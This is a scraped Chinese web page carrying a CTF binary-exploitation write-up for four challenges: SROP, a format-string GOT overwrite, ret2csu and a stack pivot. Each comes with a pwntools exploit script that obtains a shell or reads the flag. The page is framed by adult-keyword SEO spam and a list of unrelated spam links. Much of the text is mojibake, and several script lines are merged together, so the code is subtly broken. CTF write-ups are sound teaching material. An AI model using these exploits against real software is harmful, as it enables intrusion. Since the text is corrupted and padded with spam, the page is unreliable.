国产亚洲精品福利在线无卡一,国产精久久一区二区三区,亚洲精品无码国模,精品久久久久久无码专区不卡

當前位置: 首頁 > news >正文

商業(yè)網(wǎng)站建設案例課程圖片優(yōu)化是什么意思

商業(yè)網(wǎng)站建設案例課程,圖片優(yōu)化是什么意思,dw網(wǎng)頁設計說明,做網(wǎng)站商城需要什么軟件目錄 srop源碼分析exp putsorsys源碼分析exp ret2csu_1源碼分析exp traveler源碼分析exp srop 題源:[NewStarCTF 2023 公開賽道]srop 考點:SROP 棧遷移 源碼 首先從bss段利用 syscall 調用 write 讀出數(shù)據(jù)信息,然后調用 syscall-read向棧中…

目錄

  • srop
    • 源碼
    • 分析
    • exp
  • putsorsys
    • 源碼
    • 分析
    • exp
  • ret2csu_1
    • 源碼
    • 分析
    • exp
  • traveler
    • 源碼
    • 分析
    • exp

srop

題源:[NewStarCTF 2023 公開賽道]srop
考點:SROP + 棧遷移

源碼

首先從bss段利用 syscall 調用 write 讀出數(shù)據(jù)信息,然后調用 syscall-read向棧中rbp-0x30 位置讀入數(shù)據(jù),最多0x300字節(jié)。
[Tips:觀察到調用 sys_read和sys_weite 時候,eax都是0,并且 rcx 被賦值為 size 部分。則猜測 rdi被當作 rax 使用,rsi,rdx,rcx 分別賦值三個參數(shù)。]
聯(lián)想截圖_20240214200827.png
聯(lián)想截圖_20240214200841.png

分析

  1. 利用棧溢出進行棧遷移將rbp寄存器轉到bss段高地址。
  2. 然后在返回地址處填寫程序調用 syscall-read 處起始地址,用于向rbp-0x30地址寫入shell,實現(xiàn)向bss地址讀入數(shù)據(jù)(二次輸入)。
  3. 接著填充0x30垃圾數(shù)據(jù)覆蓋到 rbprip地址利用syscall觸發(fā) sigreturn 。
  4. 最后布置棧中寄存器的值,調用execve(/bin/sh,0,0)執(zhí)行shell。

exp

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./pwn_1')
#io = remote('node5.buuoj.cn',27296)
io = process('./pwn_1')
pop_rdi = 0x401203lea = 0x401171  # lea rax,[rbp-0x30]  != leave bss = 0x404050  + 0x300
io.recvuntil(b'welcome to srop!\n')
syscall = elf.symbols['syscall']frame = SigreturnFrame()  # execve(/bin/sh,0,0)
frame.rdi = 59   # "rax" = 0x3b
frame.rsi = bss - 0x30  # /bin/sh 填寫地址為 rbp-0x30。====> "rdi"
frame.rdx = 0             #  "rsi"
frame.rcx = 0              #  "rdx"
frame.rsp = bss + 0x38  
frame.rip = syscall    io.send(b'a'*0x30 + p64(bss) + p64(lea))
io.send(b'/bin/sh\x00' + b'a'*0x30 + flat(pop_rdi,0xf,syscall) + flat(frame))# shell + buf +     srop + syscall + framme     [rdi===>"rax"]
io.interactive()

putsorsys

題源:[NewStarCTF 2023 公開賽道]puts or system?
考點:64位fmt + got篡改

源碼

存在格式化字符串漏洞,并且注意到已經存在“/bin/sh”參數(shù)。
聯(lián)想截圖_20240228130502.png

分析

程序存在多次格式化字符串漏洞。
Step1格式化字符串漏洞(%s + puts_got)泄露puts函數(shù)真實地址,利用附件 libc.so 獲取 system 函數(shù)地址。
Step2:注意到每一次輸入后,調用puts函數(shù),并且把 /bin/sh 作為參數(shù),可以再次利用格式化字符串漏洞 將 puts_got 篡改為 system 地址,構造 system(/bin/sh) 獲取shell。

exp

#kali打不通...,Xubuntu會斷(半通)
from pwn import *
context(arch='amd64', os='linux', log_level='debug')#p =process('./putsorsys')
p =remote('node5.buuoj.cn',26885)
elf =ELF('./putsorsys')
libc =ELF('./libc.so.6')got_addr =elf.got['puts']
p.sendlineafter(b'(0/1)\n',b'1')
payload =b'%9$sAAAA' +p64(got_addr)   #AAAA對齊(4+4=8) %s泄露指針指向內存的數(shù)據(jù)
p.sendafter(b"What's it\n",payload)
p.recvuntil(b'There is my gift:\n')puts_addr = u64(p.recvuntil(b'\x7f')[:6].ljust(8, b'\x00'))
print(hex(puts_addr))libc_base = puts_addr - libc.sym['puts']
sys_addr = libc_base + libc.sym['system']
bin_sh = libc_base +  next(libc.search(b"/bin/sh\x00"))p.sendlineafter(b'(0/1)\n',b'1')payload =fmtstr_payload(8, {got_addr:sys_addr})
p.sendlineafter(b"What's it\n",payload)
p.interactive()

ret2csu_1

題源:[NewStarCTF 2022 公開賽道]ret2csu1
考點:ret2csu-basic + execve函數(shù)使用

源碼

聯(lián)想截圖_20240216105046.png
聯(lián)想截圖_20240216105818.png

分析

首先程序存在棧溢出,可以覆蓋返回地址。并且給出了后門函數(shù),但是直接轉到后門函數(shù)并沒有任何作用,注意到 0x400648 地址調用了 syscall-execve ,可以利用 __libc_csu_init 函數(shù)中的gadget進行劫持。
聯(lián)想截圖_20240216110400.png
先布置gadget并分配好寄存器參數(shù),然后劫持函數(shù)執(zhí)行 execve(/bin/cat,/bin/cat/flag,0) 即可獲取flag。查看__libc_csu_init 的匯編代碼得到結論:
r13d,r14,r15寄存器的值分別可以被復制到x86-64位程序前三個寄存器 edi,rsi,rdx中,可以構造 execve函數(shù)的三個參數(shù)。

(雖然r13只有后八字節(jié)復制給了edi,但是經過調試發(fā)現(xiàn)rdi前八個字節(jié)是0,因此等同于 mov r13,rdi。)

同時,注意到存在/bin/cat,/flag字符串,因此構造execve(/bin/cat,/bin/cat/flag,0)

execve(const char *filename, char *const argv[], char *const envp[]);

filename:包含準備載入當前進程空間的新程序的路徑名。既可以是絕對路徑,又可以是相對路徑。
argv[ ] :指定了傳給新進程的命令行參數(shù),該數(shù)組對應于c語言main函數(shù)的argv參數(shù)數(shù)組,格式也相同,argv[0]對應命令名,通常情況下該值與filename中的basename(就是絕對路徑的最后一個)相同。
envp[ ]:最后一個參數(shù)envp指定了新程序的環(huán)境列表。參數(shù)envp對應于新程序的environ數(shù)組。

圖中第二部分call指令:將r12+rbx*8 的結果作為地址來調用。
布置寄存器參數(shù):
rbx:由于第二部分mov,call下面存在add,cmp指令。如果rbx+1 != rbp,那么將會跳轉,因此將rbx賦值為0。rbp賦值為1,即可避免跳轉。
r12:需要填充 數(shù)據(jù)為0x400648 的地址 來進行調用execve。發(fā)現(xiàn):

.data:0000000000601068 48 06 40 00 00 00 00 00 gift3 dq 400648h
.data:0000000000601068 _data ends
.data:0000000000601068

因此賦值為0x601068。
【Tip:不能直接填0x400648,類似于二級跳轉。例如調用read函數(shù)時也需要填充read的got地址而不是plt地址】
r12,r13,r14分別賦值 0x4007BB,0x601050,0
聯(lián)想截圖_20240216113059.png
聯(lián)想截圖_20240216113022.png

exp

from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
elf = ELF('./ret2csu-1')
offset = 0x28
io = remote('node5.buuoj.cn',27959)
#io = process('./ret2csu-1')
pop_6 = 0x40072a
mov_3 = 0x400710p = b'a'*offset + p64(pop_6) + p64(0)+p64(1) + p64(0x601068) 
p += p64(0x4007BB) +p64(0x601050) + p64(0) + p64(mov_3)# execve(/bin/cat,/bin/cat/flag,0)
io.sendafter(b'!\n',p)
io.interactive()

traveler

題源:[VNCTF2023]Traveler
考點:棧遷移(+抬棧)
坑點:bss段需要足夠高地址才行。

源碼

聯(lián)想截圖_20240216221001.png
聯(lián)想截圖_20240216221010.png

分析

思路1:第一次棧溢出調用向棧中填充數(shù)據(jù)的read功能代碼,fake_rbp填充為bss段地址,然后第二次利用已有的system構造shell,new-fake_rbp填充為bss-0x28地址,再加上leave使得程序回調執(zhí)行shell。(注意leave后rsp地址為rbp+8)
思路2:system函數(shù)的參數(shù)填充在第二次輸入的bss段,亦可觸發(fā)。
聯(lián)想截圖_20240216221456.png

exp

from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
io = remote('node5.buuoj.cn',29868)
#io = process('./traveler')
offset = 0x20
elf = ELF('./traveler')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']main = elf.sym['main']leave = 0x401253
bss_1 = 0x404800 #本地打通的bss地址
bss_2 = 0x404d00 # 遠程打通bss地址
pop_rdi = 0x4012c3
ret = 0x40101a
read = 0x401216
p1 = b'a'*offset + p64(bss_2) + p64(read)
io.sendafter(b'u?\n',p1)
io.sendafter(b'life?\n',b'a')system = elf.sym['system']
bin = bss_2 - 0x8
p2 =  p64(pop_rdi) + p64(bin) + p64(system)  + b'/bin/sh\x00' + p64(bss_2-0x28) + p64(leave)  #思路1
io.send(p2)
io.sendafter(b'life?\n',b'a') #思路2/bin/sh\x00io.interactive()
http://aloenet.com.cn/news/36786.html

相關文章:

  • wordpress網(wǎng)站音樂放不全百度搜索服務
  • 網(wǎng)站上的洗衣液瓶子做花瓶怎么材質互聯(lián)網(wǎng)廣告代理商
  • wordpress云端采集插件廣州新塘網(wǎng)站seo優(yōu)化
  • 商務網(wǎng)站建設綜合實訓信陽網(wǎng)絡推廣公司
  • 網(wǎng)站開發(fā)專業(yè)就業(yè)培訓學校信息流優(yōu)化師沒經驗可以做嗎
  • 網(wǎng)站圖片有什么要求嗎長春seo排名公司
  • 攀枝花 網(wǎng)站建設app拉新怎么對接渠道
  • 最好看免費觀看高清大全城中之城上海關鍵詞優(yōu)化排名哪家好
  • 怎么知道哪家公司網(wǎng)站做的好網(wǎng)站買賣交易平臺
  • 網(wǎng)絡組建設計與方案網(wǎng)站seo 優(yōu)化
  • jquery 特效 網(wǎng)站網(wǎng)絡推廣公司是干什么
  • 廣西住房城鄉(xiāng)建設廳官網(wǎng)站大數(shù)據(jù)培訓班出來能就業(yè)嗎
  • 網(wǎng)站頁面數(shù)量開發(fā)網(wǎng)站的公司
  • 做網(wǎng)站圖片怎么弄一個自己的網(wǎng)站
  • 河北網(wǎng)站開發(fā)費用百度電話人工服務
  • 做門窗接活的網(wǎng)站廣告投放渠道
  • 做我女朋友好不好套路網(wǎng)站seo高級優(yōu)化技巧
  • 做局域網(wǎng)網(wǎng)站公司網(wǎng)站怎么弄
  • 家居企業(yè)網(wǎng)站建設如何豬八戒網(wǎng)接單平臺
  • 廣州 企業(yè)網(wǎng)站建設百度貼吧怎么做推廣
  • 新興建設網(wǎng)站頭條指數(shù)
  • 小型手機網(wǎng)站建設哪家好百度視頻
  • 收圖片的網(wǎng)站企業(yè)培訓計劃方案
  • 三亞網(wǎng)站建設介紹首頁
  • 怎么做網(wǎng)盤搜索引擎網(wǎng)站抖音怎么推廣
  • 網(wǎng)站設計第一步怎么做今日國內新聞10則
  • 站長平臺有哪些百度平臺營銷軟件
  • 建筑專業(yè)網(wǎng)站文明seo技術教程網(wǎng)
  • wordpress 添加icp舟山百度seo
  • 網(wǎng)站右邊跳出的廣告怎么做可以推廣的軟件有哪些